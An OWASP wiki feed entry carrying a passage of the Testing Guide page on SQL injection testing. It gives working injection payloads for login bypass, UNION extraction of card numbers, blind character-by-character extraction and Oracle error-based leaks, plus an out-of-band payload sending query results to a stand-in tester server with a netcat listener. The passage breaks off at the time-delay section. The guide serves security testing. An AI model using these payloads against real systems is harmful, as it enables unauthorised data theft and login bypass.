<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Thompsnm</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Thompsnm"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Thompsnm"/>
		<updated>2026-04-05T15:14:40Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210713</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210713"/>
				<updated>2016-03-09T03:14:25Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Stored Procedure Injection */ - wrap stored procedures and user input in code blocks; add missing space&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
